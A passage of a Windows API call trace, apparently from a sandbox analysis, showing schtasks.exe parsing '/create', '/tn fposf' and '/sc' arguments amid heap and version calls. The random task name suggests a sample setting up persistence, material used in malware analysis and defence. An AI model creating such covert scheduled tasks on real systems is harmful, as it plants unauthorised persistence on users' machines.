(_Func=0xffc22bf8) returned 0xffc22bf8 [0156.332] _onexit (_Func=0xffc22c20) returned 0xffc22c20 [0156.332] _onexit (_Func=0xffc22c48) returned 0xffc22c48 [0156.332] _onexit (_Func=0xffc22c70) returned 0xffc22c70 [0156.333] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0156.333] WinSqmIsOptedIn () returned 0x0 [0156.333] GetProcessHeap () returned 0x300000 [0156.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31b990 [0156.333] SetLastError (dwErrCode=0x0) [0156.334] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0156.334] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0156.334] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0156.334] VerifyVersionInfoW (in: lpVersionInformation=0x25f0a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25f0a0) returned 1 [0156.334] GetProcessHeap () returned 0x300000 [0156.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31b9b0 [0156.334] lstrlenW (lpString="") returned 0 [0156.334] GetProcessHeap () returned 0x300000 [0156.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x2) returned 0x31b9d0 [0156.334] GetProcessHeap () returned 0x300000 [0156.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315930 [0156.334] GetProcessHeap () returned 0x300000 [0156.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31b9f0 [0156.334] GetProcessHeap () returned 0x300000 [0156.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315960 [0156.334] GetProcessHeap () returned 0x300000 [0156.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315990 [0156.334] GetProcessHeap () returned 0x300000 [0156.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x3159c0 [0156.334] GetProcessHeap () returned 0x300000 [0156.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x3159f0 [0156.334] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31ba10 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315a20 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315a50 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315a80 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315ab0 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31ba30 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315ae0 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315b10 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315b40 [0156.335] GetProcessHeap () returned 0x300000 [0156.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315b70 [0156.335] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0156.355] SetLastError (dwErrCode=0x0) [0156.355] GetProcessHeap () returned 0x300000 [0156.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315ba0 [0156.355] GetProcessHeap () returned 0x300000 [0156.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315bd0 [0156.355] GetProcessHeap () returned 0x300000 [0156.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315c00 [0156.355] GetProcessHeap () returned 0x300000 [0156.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315c30 [0156.355] GetProcessHeap () returned 0x300000 [0156.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315c60 [0156.355] GetProcessHeap () returned 0x300000 [0156.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31ba50 [0156.355] _memicmp (_Buf1=0x31ba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.355] GetProcessHeap () returned 0x300000 [0156.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x208) returned 0x31bbf0 [0156.356] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x31bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0156.356] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0156.358] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0156.358] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0156.358] GetProcessHeap () returned 0x300000 [0156.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x74e) returned 0x31c1a0 [0156.359] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0156.359] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x31c1a0 | out: lpData=0x31c1a0) returned 1 [0156.359] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0156.359] VerQueryValueW (in: pBlock=0x31c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25f188, puLen=0x25f1f0 | out: lplpBuffer=0x25f188*=0x31c53c, puLen=0x25f1f0) returned 1 [0156.370] _memicmp (_Buf1=0x31ba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.370] _vsnwprintf (in: _Buffer=0x31bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25f168 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0156.370] VerQueryValueW (in: pBlock=0x31c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25f1f8, puLen=0x25f1e8 | out: lplpBuffer=0x25f1f8*=0x31c368, puLen=0x25f1e8) returned 1 [0156.370] lstrlenW (lpString="schtasks.exe") returned 12 [0156.370] lstrlenW (lpString="schtasks.exe") returned 12 [0156.370] lstrlenW (lpString=".EXE") returned 4 [0156.370] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0156.371] lstrlenW (lpString="schtasks.exe") returned 12 [0156.371] lstrlenW (lpString=".EXE") returned 4 [0156.371] _memicmp (_Buf1=0x31ba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.371] lstrlenW (lpString="schtasks") returned 8 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x315d50 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cab0 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cae0 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cb10 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31ba70 [0156.372] _memicmp (_Buf1=0x31ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xa0) returned 0x31bff0 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cb40 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cb70 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cba0 [0156.372] GetProcessHeap () returned 0x300000 [0156.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31ba90 [0156.372] _memicmp (_Buf1=0x31ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.372] GetProcessHeap () returned 0x300000 [0156.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x200) returned 0x31d280 [0156.373] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x31d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0156.373] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0156.373] GetProcessHeap () returned 0x300000 [0156.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x30) returned 0x317a50 [0156.373] _vsnwprintf (in: _Buffer=0x31bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25f168 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0156.373] GetProcessHeap () returned 0x300000 [0156.373] GetProcessHeap () returned 0x300000 [0156.373] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1a0) returned 1 [0156.373] GetProcessHeap () returned 0x300000 [0156.373] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31c1a0) returned 0x74e [0156.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1a0 | out: hHeap=0x300000) returned 1 [0156.374] SetLastError (dwErrCode=0x0) [0156.374] GetThreadLocale () returned 0x409 [0156.374] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.374] lstrlenW (lpString="?") returned 1 [0156.374] GetThreadLocale () returned 0x409 [0156.374] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.374] lstrlenW (lpString="create") returned 6 [0156.374] GetThreadLocale () returned 0x409 [0156.374] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.374] lstrlenW (lpString="delete") returned 6 [0156.374] GetThreadLocale () returned 0x409 [0156.374] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.374] lstrlenW (lpString="query") returned 5 [0156.374] GetThreadLocale () returned 0x409 [0156.374] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.375] lstrlenW (lpString="change") returned 6 [0156.375] GetThreadLocale () returned 0x409 [0156.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.375] lstrlenW (lpString="run") returned 3 [0156.375] GetThreadLocale () returned 0x409 [0156.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.375] lstrlenW (lpString="end") returned 3 [0156.375] GetThreadLocale () returned 0x409 [0156.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.375] lstrlenW (lpString="showsid") returned 7 [0156.375] GetThreadLocale () returned 0x409 [0156.375] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.375] SetLastError (dwErrCode=0x0) [0156.375] SetLastError (dwErrCode=0x0) [0156.375] lstrlenW (lpString="/create") returned 7 [0156.375] lstrlenW (lpString="-/") returned 2 [0156.375] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.375] lstrlenW (lpString="?") returned 1 [0156.375] lstrlenW (lpString="?") returned 1 [0156.375] GetProcessHeap () returned 0x300000 [0156.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31c1a0 [0156.375] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.375] GetProcessHeap () returned 0x300000 [0156.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xa) returned 0x31c1c0 [0156.375] lstrlenW (lpString="create") returned 6 [0156.375] GetProcessHeap () returned 0x300000 [0156.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31c1e0 [0156.375] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.375] GetProcessHeap () returned 0x300000 [0156.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x14) returned 0x31c200 [0156.376] _vsnwprintf (in: _Buffer=0x31c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|?|") returned 3 [0156.376] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.376] lstrlenW (lpString="|?|") returned 3 [0156.376] lstrlenW (lpString="|create|") returned 8 [0156.376] SetLastError (dwErrCode=0x490) [0156.376] lstrlenW (lpString="create") returned 6 [0156.376] lstrlenW (lpString="create") returned 6 [0156.376] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.376] GetProcessHeap () returned 0x300000 [0156.376] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c1c0) returned 1 [0156.376] GetProcessHeap () returned 0x300000 [0156.376] RtlReAllocateHeap (Heap=0x300000, Flags=0xc, Ptr=0x31c1c0, Size=0x14) returned 0x31c220 [0156.376] lstrlenW (lpString="create") returned 6 [0156.376] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.376] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.376] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.376] lstrlenW (lpString="|create|") returned 8 [0156.376] lstrlenW (lpString="|create|") returned 8 [0156.376] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0156.376] SetLastError (dwErrCode=0x0) [0156.376] SetLastError (dwErrCode=0x0) [0156.376] SetLastError (dwErrCode=0x0) [0156.376] lstrlenW (lpString="/tn") returned 3 [0156.376] lstrlenW (lpString="-/") returned 2 [0156.377] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.377] lstrlenW (lpString="?") returned 1 [0156.377] lstrlenW (lpString="?") returned 1 [0156.377] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.377] lstrlenW (lpString="tn") returned 2 [0156.377] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.377] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|?|") returned 3 [0156.377] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tn|") returned 4 [0156.377] lstrlenW (lpString="|?|") returned 3 [0156.377] lstrlenW (lpString="|tn|") returned 4 [0156.377] SetLastError (dwErrCode=0x490) [0156.377] lstrlenW (lpString="create") returned 6 [0156.377] lstrlenW (lpString="create") returned 6 [0156.377] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.377] lstrlenW (lpString="tn") returned 2 [0156.377] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.377] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.377] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tn|") returned 4 [0156.377] lstrlenW (lpString="|create|") returned 8 [0156.377] lstrlenW (lpString="|tn|") returned 4 [0156.377] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0156.377] SetLastError (dwErrCode=0x490) [0156.377] lstrlenW (lpString="delete") returned 6 [0156.377] lstrlenW (lpString="delete") returned 6 [0156.378] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.378] lstrlenW (lpString="tn") returned 2 [0156.378] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.378] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|delete|") returned 8 [0156.378] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tn|") returned 4 [0156.378] lstrlenW (lpString="|delete|") returned 8 [0156.378] lstrlenW (lpString="|tn|") returned 4 [0156.378] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0156.378] SetLastError (dwErrCode=0x490) [0156.378] lstrlenW (lpString="query") returned 5 [0156.378] lstrlenW (lpString="query") returned 5 [0156.378] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.378] lstrlenW (lpString="tn") returned 2 [0156.378] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.378] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|query|") returned 7 [0156.378] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tn|") returned 4 [0156.378] lstrlenW (lpString="|query|") returned 7 [0156.378] lstrlenW (lpString="|tn|") returned 4 [0156.378] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0156.378] SetLastError (dwErrCode=0x490) [0156.378] lstrlenW (lpString="change") returned 6 [0156.378] lstrlenW (lpString="change") returned 6 [0156.378] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.379] lstrlenW (lpString="tn") returned 2 [0156.379] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.379] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|change|") returned 8 [0156.379] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tn|") returned 4 [0156.379] lstrlenW (lpString="|change|") returned 8 [0156.379] lstrlenW (lpString="|tn|") returned 4 [0156.379] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0156.379] SetLastError (dwErrCode=0x490) [0156.379] lstrlenW (lpString="run") returned 3 [0156.379] lstrlenW (lpString="run") returned 3 [0156.379] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.379] lstrlenW (lpString="tn") returned 2 [0156.379] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.379] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|run|") returned 5 [0156.379] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tn|") returned 4 [0156.379] lstrlenW (lpString="|run|") returned 5 [0156.379] lstrlenW (lpString="|tn|") returned 4 [0156.379] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0156.379] SetLastError (dwErrCode=0x490) [0156.379] lstrlenW (lpString="end") returned 3 [0156.379] lstrlenW (lpString="end") returned 3 [0156.379] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.379] lstrlenW (lpString="tn") returned 2 [0156.380] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.380] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|end|") returned 5 [0156.380] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tn|") returned 4 [0156.380] lstrlenW (lpString="|end|") returned 5 [0156.380] lstrlenW (lpString="|tn|") returned 4 [0156.380] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0156.380] SetLastError (dwErrCode=0x490) [0156.380] lstrlenW (lpString="showsid") returned 7 [0156.380] lstrlenW (lpString="showsid") returned 7 [0156.380] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.380] GetProcessHeap () returned 0x300000 [0156.380] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31c220) returned 1 [0156.380] GetProcessHeap () returned 0x300000 [0156.380] RtlReAllocateHeap (Heap=0x300000, Flags=0xc, Ptr=0x31c220, Size=0x16) returned 0x31c220 [0156.380] lstrlenW (lpString="tn") returned 2 [0156.380] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.380] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|showsid|") returned 9 [0156.380] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tn|") returned 4 [0156.380] lstrlenW (lpString="|showsid|") returned 9 [0156.380] lstrlenW (lpString="|tn|") returned 4 [0156.380] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0156.380] SetLastError (dwErrCode=0x490) [0156.380] SetLastError (dwErrCode=0x490) [0156.381] SetLastError (dwErrCode=0x0) [0156.381] lstrlenW (lpString="/tn") returned 3 [0156.381] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0156.381] SetLastError (dwErrCode=0x490) [0156.381] SetLastError (dwErrCode=0x0) [0156.381] lstrlenW (lpString="/tn") returned 3 [0156.381] GetProcessHeap () returned 0x300000 [0156.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x8) returned 0x31c1c0 [0156.381] GetProcessHeap () returned 0x300000 [0156.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cbd0 [0156.381] SetLastError (dwErrCode=0x0) [0156.381] SetLastError (dwErrCode=0x0) [0156.381] lstrlenW (lpString="fposf") returned 5 [0156.381] lstrlenW (lpString="-/") returned 2 [0156.381] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0156.381] SetLastError (dwErrCode=0x490) [0156.381] SetLastError (dwErrCode=0x490) [0156.381] SetLastError (dwErrCode=0x0) [0156.381] lstrlenW (lpString="fposf") returned 5 [0156.381] StrChrIW (lpStart="fposf", wMatch=0x3a) returned 0x0 [0156.381] SetLastError (dwErrCode=0x490) [0156.381] SetLastError (dwErrCode=0x0) [0156.381] lstrlenW (lpString="fposf") returned 5 [0156.381] GetProcessHeap () returned 0x300000 [0156.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xc) returned 0x31d4c0 [0156.381] GetProcessHeap () returned 0x300000 [0156.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cc00 [0156.381] SetLastError (dwErrCode=0x0) [0156.381] SetLastError (dwErrCode=0x0) [0156.382] lstrlenW (lpString="/sc") returned 3 [0156.382] lstrlenW (lpString="-/") returned 2 [0156.382] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.382] lstrlenW (lpString="?") returned 1 [0156.382] lstrlenW (lpString="?") returned 1 [0156.382] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.382] lstrlenW (lpString="sc") returned 2 [0156.382] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.382] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|?|") returned 3 [0156.382] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|sc|") returned 4 [0156.382] lstrlenW (lpString="|?|") returned 3 [0156.382] lstrlenW (lpString="|sc|") returned 4 [0156.382] SetLastError (dwErrCode=0x490) [0156.382] lstrlenW (lpString="create") returned 6 [0156.382] lstrlenW (lpString="create") returned 6 [0156.382] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.382] lstrlenW (lpString="sc") returned 2 [0156.382] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.382] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.382] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|sc|") returned 4 [0156.382] lstrlenW (lpString="|create|") returned 8 [0156.382] lstrlenW (lpString="|sc|") returned 4 [0156.382] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0156.382] SetLastError (dwErrCode=0x490) [0156.382] lstrlenW (lpString="delete") returned 6 [0156.383] lstrlenW (lpString="delete") returned 6 [0156.383] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.383] lstrlenW (lpString="sc") returned 2 [0156.383] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.383] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|delete|") returned 8 [0156.383] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|sc|") returned 4 [0156.383] lstrlenW (lpString="|delete|") returned 8 [0156.383] lstrlenW (lpString="|sc|") returned 4 [0156.383] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0156.383] SetLastError (dwErrCode=0x490) [0156.383] lstrlenW (lpString="query") returned 5 [0156.383] lstrlenW (lpString="query") returned 5 [0156.383] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.383] lstrlenW (lpString="sc") returned 2 [0156.383] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.383] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|query|") returned 7 [0156.383] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|sc|") returned 4 [0156.383] lstrlenW (lpString="|query|") returned 7 [0156.383] lstrlenW (lpString="|sc|") returned 4 [0156.383] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0156.383] SetLastError (dwErrCode=0x490) [0156.383] lstrlenW (lpString="change") returned 6 [0156.383] lstrlenW (lpString="change") returned 6 [0156.383] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.384] lstrlenW (lpString="sc") returned 2 [0156.384] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.384] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|change|") returned 8 